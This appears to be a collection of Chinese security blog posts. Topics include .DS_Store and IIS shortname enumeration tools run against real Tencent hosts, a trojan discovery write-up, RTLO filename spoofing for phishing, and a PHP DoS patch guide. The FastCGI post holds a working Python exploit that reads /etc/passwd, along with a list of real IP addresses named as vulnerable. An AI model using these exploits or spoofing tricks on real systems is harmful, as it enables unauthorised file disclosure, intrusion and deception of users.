.DS_Store文件泄漏利用工具: ds_store_exp

.DS_Store是Mac下Finder用来保存如何展示 文件/文件夹 的数据文件,每个文件夹下对应一个。

如果开发/设计人员将.DS_Store上传部署到线上环境,可能造成文件目录结构泄漏,特别是备份文件、源代码文件。

ds_store_exp 是一个.DS_Store 文件泄漏利用脚本,它解析.DS_Store文件并递归地下载文件到本地: https://github.com/lijiejie/ds_store_exp

DS_Store parser is based on ds_store 1.1.0 。

一个示例

python ds_store_exp.py http://hd.zj.qq.com/themes/galaxyw/.DS_Store

hd.zj.qq.com/
└── themes
    └── galaxyw
        ├── app
        │   └── css
        │       └── style.min.css
        ├── cityData.min.js
        ├── images
        │   └── img
        │       ├── bg-hd.png
        │       ├── bg-item-activity.png
        │       ├── bg-masker-pop.png
        │       ├── btn-bm.png
        │       ├── btn-login-qq.png
        │       ├── btn-login-wx.png
        │       ├── ico-add-pic.png
        │       ├── ico-address.png
        │       ├── ico-bm.png
        │       ├── ico-duration-time.png
        │       ├── ico-pop-close.png
        │       ├── ico-right-top-delete.png
        │       ├── page-login-hd.png
        │       ├── pic-masker.png
        │       └── ticket-selected.png
        └── member
            ├── assets
            │   ├── css
            │   │   ├── ace-reset.css
            │   │   └── antd.css
            │   └── lib
            │       ├── cityData.min.js
            │       └── ueditor
            │           ├── index.html
            │           ├── lang
            │           │   └── zh-cn
            │           │       ├── images
            │           │       │   ├── copy.png
            │           │       │   ├── localimage.png
            │           │       │   ├── music.png
            │           │       │   └── upload.png
            │           │       └── zh-cn.js
            │           ├── php
            │           │   ├── action_crawler.php
            │           │   ├── action_list.php
            │           │   ├── action_upload.php
            │           │   ├── config.json
            │           │   ├── controller.php
            │           │   └── Uploader.class.php
            │           ├── ueditor.all.js
            │           ├── ueditor.all.min.js
            │           ├── ueditor.config.js
            │           ├── ueditor.parse.js
            │           └── ueditor.parse.min.js
            └── static
                ├── css
                │   └── page.css
                ├── img
                │   ├── bg-table-title.png
                │   ├── bg-tab-say.png
                │   ├── ico-black-disabled.png
                │   ├── ico-black-enabled.png
                │   ├── ico-coorption-person.png
                │   ├── ico-miss-person.png
                │   ├── ico-mr-person.png
                │   ├── ico-white-disabled.png
                │   └── ico-white-enabled.png
                └── scripts
                    ├── js
                    └── lib
                        └── jquery.min.js

21 directories, 48 files

IIS短文件名暴力枚举漏洞利用工具(IIS shortname Scanner)

上文我已经介绍了IIS短文件名暴力枚举漏洞的成因和利用。

这里只是发出昨天写的脚本。

脚本可以测试对应的URL是否存在漏洞,若存在漏洞,则猜解文件夹下所有的短文件名:包括文件和文件名。

网上早前已经有公开的工具了:https://code.google.com/p/iis-shortname-scanner-poc/

我没有参考他的代码。自己用python实现了一个漏洞利用脚本。简单测试,发现比上面的POC能猜解到更多的文件和文件夹。

获取源代码:  https://github.com/lijiejie/IIS_shortname_Scanner   (已于Oct 27, 2016更新

测试: IIS_shortname_Scan.py http://stom.tencent.com

最终结果:

stom-tencent-com

通过联想,就可以猜解到上传页:  http://stom.tencent.com/tapdupfile.aspx

stom-tencent-com_upfile

----------------------------------------------------------------
Dir: /aspnet~1
File: /logina~1.cs
File: /tapdap~1.cs
File: /tapdup~1.cs
File: /queryg~1.ash*
File: /queryi~1.ash*
File: /queryp~1.ash*
File: /tapdap~1.asp*
File: /tapdup~1.asp*
----------------------------------------------------------------
1 Directories, 8 Files found in total
Note that * is a wildcard, matches any character zero or more times.

 

记一次木马的发现

昨天清理磁盘,整理旧文件的时候,轻信直接打开了wooyun zone里某位白帽子分享的工具,一时大意,中马了。

PC机上有个360安全卫士,也没有一丁点的提示。。。(这木马过360的)

随后我在修改subDomainsBrute的时候,抓dns query,惊讶地发现,出现了一个3322.org的域名,并且对应记录是不存在的,如下图:

likang.3322.org

以前玩远控木马的同学可能知道,3322.0rg,花生壳之类的,常常被用来木马在内网反向上线的。所以,这个地方十分不正常,这让我意识到,有较大的几率已经中马了。

用360安全卫士扫描,没有发现任何木马和危险项,之前也提到了,这个木马是过360的。

现在的问题是,如何抓到这个木马,我绕了一个弯子,因为我想从dns query入手来查找(正确的做法是打开进程查看器,逐个进程检查):

  1. 我们已经知道,木马会主动去连likang.3322.org,但是wireshark是抓不到进程pid,它仅仅支持从某一网卡抓包,并不关心包来自于哪个进程
  2. 即使能抓到DNS查询的对应进程,其实也只能抓到windows下的DNS Client:svchost.exe进程,实际并无意义,我们依然不知道背后到底是哪个进程在请求likang.3322.org

在抓dns query源进程受阻的情况下,我想到,既然木马想访问likang.3322.org,而这个域名又不存在。 那么我应该可以欺骗它去访问我自己的服务器,我修改hosts文件,添加:

11.22.33.44	likang.3322.org

这个时候,我应该可以抓到访问likang.3322.org的其他请求了。

我用smartsniff抓包,发现有到目标11.22.33.44的http request,木马会请求http://likang.3322.org/ip.txt,看起来像是一个DDOS木马,下载攻击目标的。

这个时候我还是没抓到进程,对应的http://likang.3322.org/ip.txt文件并不存在,http request一瞬间就结束了,tcp查看工具因为刷新频率的原因,还看不到对应的进程。

于是我在11.22.33.44上python起了一个http server,并且让get请求hang住,sleep 30s,最终抓到了对应的进程:

virus_found

如图,QQ进程:

process_QQ

总结一下,上面也说到,正确的做法,应该是查看进程列表,然后逐个检查进程是否正常,从 启动时间 |  可执行文件的创建日期 等特征对比。

绕个弯子,换了个思路。  🙂

Unicode RTLO(Right-To-Left Override) Security ISSUE

很久没有写博客了,不太容易安静下来,做一些简单的总结。希望2016年可以多记录一些零散的想法。

今天简单聊一下 RTLO的小问题。

RTLO是一个8238的Unicode字符,它的作用是让紧跟在后面的字符串倒序: http://www.codetable.net/decimal/8238

可以用来欺骗用户打开可执行文件(钓鱼攻击),或者欺骗后端应用的检查机制。

例如,我这里有一个可执行文件,文件名是 u’aaaa\u202eFDP.exe’  的文件,202e是

>> hex(8238)
'0x202e'

那么windows用户在资源管理器中看到的文件名将显示为 aaaaexe.PDF,如果这个exe的图标正好PDF的图标,可能会欺骗用户点击执行。

我示例将cmd.exe重命名为u’aaaa\u202eFDP.exe’ ,python中执行

>> os.rename('cmd.exe', u'aaaa\u202eFDP.exe')

用户在资源管理器中看到的效果就是aaaaexe.PDF(我这里特意大写了PDF):

rtlo.sample

不过,可以注意到,文档类型那一栏,依然是“应用程序”。而且一般的安全工具也能拦截这种欺骗攻击。

本文参考链接: https://blog.malwarebytes.org/online-security/2014/01/the-rtlo-method/

fastcgi文件读取漏洞python扫描脚本

fastcgi文件读取(代码执行)是个很老的漏洞,漏洞描述:  PHP FastCGI 的远程利用

利用该漏洞可读取系统文件,甚至有一定几率成功执行代码。  下载上述文章中提到的:  fcgi_exp

协议细节其实我已不关心,只需要一个python的扫描脚本。于是拿wireshark抓了下GaRY的程序,写一小段代码。

外网暴露9000端口的机器自然是非常非常少的,但内网可就说不定了。

import socket
import sys

def test_fastcgi(ip):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM); sock.settimeout(5.0)
    sock.connect((ip, 9000))
    data = """
    01 01 00 01 00 08 00 00  00 01 00 00 00 00 00 00
    01 04 00 01 00 8f 01 00  0e 03 52 45 51 55 45 53 
    54 5f 4d 45 54 48 4f 44  47 45 54 0f 08 53 45 52 
    56 45 52 5f 50 52 4f 54  4f 43 4f 4c 48 54 54 50 
    2f 31 2e 31 0d 01 44 4f  43 55 4d 45 4e 54 5f 52
    4f 4f 54 2f 0b 09 52 45  4d 4f 54 45 5f 41 44 44
    52 31 32 37 2e 30 2e 30  2e 31 0f 0b 53 43 52 49 
    50 54 5f 46 49 4c 45 4e  41 4d 45 2f 65 74 63 2f 
    70 61 73 73 77 64 0f 10  53 45 52 56 45 52 5f 53
    4f 46 54 57 41 52 45 67  6f 20 2f 20 66 63 67 69
    63 6c 69 65 6e 74 20 00  01 04 00 01 00 00 00 00
    """
    data_s = ''
    for _ in data.split():
        data_s += chr(int(_,16))
    sock.send(data_s)
    try:
        ret = sock.recv(1024)
        if ret.find(':root:') > 0:
            print ret
            print '%s is vulnerable!' % ip
            return True
        else:
            return False
    except Exception, e:
        pass
            
    sock.close()


if __name__ == '__main__':
    if len(sys.argv) == 1:
        print sys.argv[0], '[ip]'
    else:
        test_fastcgi(sys.argv[1])

通过快速扫描9000端口,可以发现几个存在漏洞的机器:

110.164.68.137  is vul !
110.164.68.148  is vul !
110.164.68.149  is vul !
110.164.68.151  is vul !
110.164.68.154  is vul !
110.164.68.155  is vul !

fcgi_exp.exe read 110.164.68.137 9000 /etc/passwd

fastcgi.exp

Ubuntu安装php5.6.9免疫Multipart/form-data远程拒绝服务漏洞

最近百度的同学liushusheng[at]baidu.com向php反馈了一个 Multipart/form-data 远程拒绝服务 的安全漏洞。

攻击者可以构造并持续发送畸形HTTP请求,恶意占用系统资源。

简单测试,多线程持续发包,可以让一些性能较低的网站延长响应时间,甚至是直接出错。在我的测试机上,一旦攻击开始,CPU占用率会很快飙升至99%。

从下图可以看到,cpu一栏,占用率是很高的。(我的VPS是8 vcpu)

php-dos

最新释出的 php 5.6.9(2015.5.14) 已经修复了这个问题。

虽然攻击过程必须持续发包,并且性能好的服务器很难被打挂,但仍然大家建议更新修复这个问题。

我在自己vps上更新了php 5.6.9(配合apache),简单记录一下基本的操作步骤:

php -v     #可以先检查下自己当前的版本

apt-get install libxml2-dev

apt-get install apache2-dev

wget http://cn2.php.net/distributions/php-5.6.9.tar.bz2

tar -xvf php-5.6.9.tar.bz2

cd php-5.6.9/

which apxs    # 确认找到apxs的路径

./configure --with-apxs2=`which apxs` --with-mysql

make

make install

php -v    #再次检查php的版本

cp .libs/libphp5.so /usr/lib/apache2/modules/

service apache2 restart

重启apache之后,php的版本已经变成了5.6.9

php.ver

再次测试,cpu占用率已经降低了:

php.5.6.9.test

升级后发现,匿名用户访问博客首页,显示空白,但已登录的用户却不受影响。

说明是受缓存影响。 于是到 WP Super Cache插件 页面重新生成缓存,点击页面上的“更新按钮”即可。

随后再刷新,首页已经可以匿名访问了。

 

参考链接:

http://sec.baidu.com/index.php?research/detail/id/22

https://bugs.php.net/bug.php?id=69364